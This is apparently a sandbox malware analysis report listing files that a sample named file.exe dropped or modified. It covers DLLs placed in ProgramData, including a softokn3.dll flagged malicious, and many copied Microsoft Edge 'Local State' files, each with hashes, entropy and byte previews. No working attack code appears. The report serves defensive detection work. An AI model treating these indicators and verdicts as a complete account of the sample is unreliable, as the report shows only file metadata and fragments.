Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4e5c3ea1-b836-4210-b686-97407dcd5ea2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.095236626875638
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxvi1zNtet2GKLNiKbFD5ERKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynYt2JLWKtSmd6qE7lFoC
MD5:	B569402979F8A0444AB3F6816F1E21B9
SHA1:	BF080BB75B2C66766B2A047CCFA3388BAE09EB51
SHA-256:	3F5A691376B6F134B9E17E35C1F5001081186535CD6E1DEDF46D76847ACFC940
SHA-512:	1B18109BE2C26F485EB8BC0E20DFFEA69B766A80405DE2393381584AFF8F2BC9921394171524AC855304F79B25D3BE587486FF10058414DEF2B98DE29A425511
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\68653027-5d4a-4ee9-af92-6e135aee8472.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.095236626875638
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxvi1zNtet2GKLNiKbFD5ERKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynYt2JLWKtSmd6qE7lFoC
MD5:	B569402979F8A0444AB3F6816F1E21B9
SHA1:	BF080BB75B2C66766B2A047CCFA3388BAE09EB51
SHA-256:	3F5A691376B6F134B9E17E35C1F5001081186535CD6E1DEDF46D76847ACFC940
SHA-512:	1B18109BE2C26F485EB8BC0E20DFFEA69B766A80405DE2393381584AFF8F2BC9921394171524AC855304F79B25D3BE587486FF10058414DEF2B98DE29A425511
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\854e48dd-ca0a-42f4-85b1-d8a64038d4bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44933
Entropy (8bit):	6.095558000641673
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNvi1zNtet2GKL9bwwT3FDVFZKJDSgzMMd6qD47u3S:+/Ps+wsI7ynOt2JLNKtSmd6qE7lFoC
MD5:	0A6E2F20FBE52ABDE42E2200F4999E39
SHA1:	0EF3239E8261A57E2D04D0A1D71A75E11B15C37D
SHA-256:	7ABED1813376517D36C9D705C0DB69D50447D0205BE3DD9C870A500565193057
SHA-512:	AD865691E4EA3B5749B26499465DCBF89860393961D9BA5132570A209FC2C1666649AFCDA380B21F04FC31DCFBFEED09E6E3A88DFAD12782741E50C1433A7416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\93155141-6720-4a83-9676-03583f9ec586.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44933
Entropy (8bit):	6.095558000641673
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNvi1zNtet2GKL9bwwT3FDVFZKJDSgzMMd6qD47u3S:+/Ps+wsI7ynOt2JLNKtSmd6qE7lFoC
MD5:	0A6E2F20FBE52ABDE42E2200F4999E39
SHA1:	0EF3239E8261A57E2D04D0A1D71A75E11B15C37D
SHA-256:	7ABED1813376517D36C9D705C0DB69D50447D0205BE3DD9C870A500565193057
SHA-512:	AD865691E4EA3B5749B26499465DCBF89860393961D9BA5132570A209FC2C1666649AFCDA380B21F04FC31DCFBFEED09E6E3A88DFAD12782741E50C1433A7416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-675726D3-784.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04671481052978681
Encrypted:	false
SSDEEP:	192:uWxL0m5tmenOAt6YiJgA8x5XSggykfhbNNETKIY/ERQcUdBvyUOgAn8y08Tcm2Rl:t90UtNQgk9hZnYIdMUM08T2RGOD
MD5:	3B0EAF98E29B764270C78D7824B15CC7
SHA1:	0ADC67C328184C7C240D354840A38D06623E4A43
SHA-256:	3A07F143B0F06F0EB789E4E730B0554C124F4BF7233B51E1FC55C20C50F1F53B
SHA-512:	F2B0FA362C7212ACD5ED6BC0ECCEBEC09C2DE74A923991C81A05E01F6CE06E83E587C9B93A85507FF08FDEAD08CF642C881BA118EBF3D50467ED85E575AD94BF
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".sntcjt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.0897800280469445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6XkzItSmd6qE7lFoC
MD5:	1AF035264EDC2615F83C3E5EBDBA80CE
SHA1:	05BBFBE3B5DC7E3D2F8629F9FE137123BC30EB85
SHA-256:	763AF79D3133CFCC85FBD3C02BD7C4B3565DC824638870AA7E4D8BE99FC9EAFE
SHA-512:	712412BFCA3AEF3B9FD72777E75DCCB3846B29669F148C4B0AD2D7B45D7132D6FC251E1C46CF143CDC5B55D9DE05368CE664168D63C742FB102FA110D06D6AB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38bc6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.0897800280469445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6XkzItSmd6qE7lFoC
MD5:	1AF035264EDC2615F83C3E5EBDBA80CE
SHA1:	05BBFBE3B5DC7E3D2F8629F9FE137123BC30EB85
SHA-256:	763AF79D3133CFCC85FBD3C02BD7C4B3565DC824638870AA7E4D8BE99FC9EAFE
SHA-512:	712412BFCA3AEF3B9FD72777E75DCCB3846B29669F148C4B0AD2D7B45D7132D6FC251E1C46CF143CDC5B55D9DE05368CE664168D63C742FB102FA110D06D6AB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38be5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.0897800280469445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6XkzItSmd6qE7lFoC
MD5:	1AF035264EDC2615F83C3E5EBDBA80CE
SHA1:	05BBFBE3B5DC7E3D2F8629F9FE137123BC30EB85
SHA-256:	763AF79D3133CFCC85FBD3C02BD7C4B3565DC824638870AA7E4D8BE99FC9EAFE
SHA-512:	712412BFCA3AEF3B9FD72777E75DCCB3846B29669F148C4B0AD2D7B45D7132D6FC251E1C46CF143CDC5B55D9DE05368CE664168D63C742FB102FA110D06D6AB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF394de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.0897800280469445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6XkzItSmd6qE7lFoC
MD5:	1AF035264EDC2615F83C3E5EBDBA80CE
SHA1:	05BBFBE3B5DC7E3D2F8629F9FE137123BC30EB85
SHA-256:	763AF79D3133CFCC85FBD3C02BD7C4B3565DC824638870AA7E4D8BE99FC9EAFE
SHA-512:	712412BFCA3AEF3B9FD72777E75DCCB3846B29669F148C4B0AD2D7B45D7132D6FC251E1C46CF143CDC5B55D9DE05368CE664168D63C742FB102FA110D06D6AB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d369303c-13f3-4ab9-b4aa-ed77208a53ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.0897800280469445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6XkzItSmd6qE7lFoC
MD5:	1AF035264EDC2615F83C3E5EBDBA80CE
SHA1:	05BBFBE3B5DC7E3D2F8629F9FE137123BC30EB85
SHA-256:	763AF79D3133CFCC85FBD3C02BD7C4B3565DC824638870AA7E4D8BE99FC9EAFE
SHA-512:	712412BFCA3AEF3B9FD72777E75DCCB3846B29669F148C4B0AD2D7B45D7132D6FC251E1C46CF143CDC5B55D9DE05368CE664168D63C742FB102FA110D06D6AB8
Malicious:	false
